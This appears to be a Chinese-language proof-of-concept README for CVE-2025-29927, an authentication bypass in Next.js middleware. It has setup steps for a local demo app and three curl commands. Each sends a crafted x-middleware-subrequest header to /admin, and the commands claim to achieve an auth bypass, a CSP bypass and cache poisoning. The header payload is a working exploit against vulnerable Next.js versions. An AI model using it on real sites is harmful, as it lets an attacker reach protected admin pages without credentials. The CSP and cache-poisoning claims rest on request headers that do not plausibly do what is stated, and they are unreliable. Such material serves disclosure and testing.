该 PoC 演示了 CVE-2025-29927,这是 Next.js 中间件中的一个漏洞,攻击者可以利用 x-middleware-subrequest 头部绕过身份验证、授权和 CSP 机制。
Next.js 版本 11.1.4 至 15.1.7
1️⃣ 克隆并安装 PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
应用将启动于 http://localhost:3000
1- 使用 x-middleware-subrequest 获取未授权访问:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 预期结果:即使绕过身份验证,响应也会返回 admin admin。

如果通过中间件强制执行 CSP,则绕过它:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 预期结果:CSP 被忽略,允许恶意脚本执行。
通过强制畸形响应来利用缓存投毒:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 预期结果:页面被缓存为错误内容,干扰正常用户。
🔍 发现者:Allam Rachid (zhero;) 和 Allam Yasser (inzo_)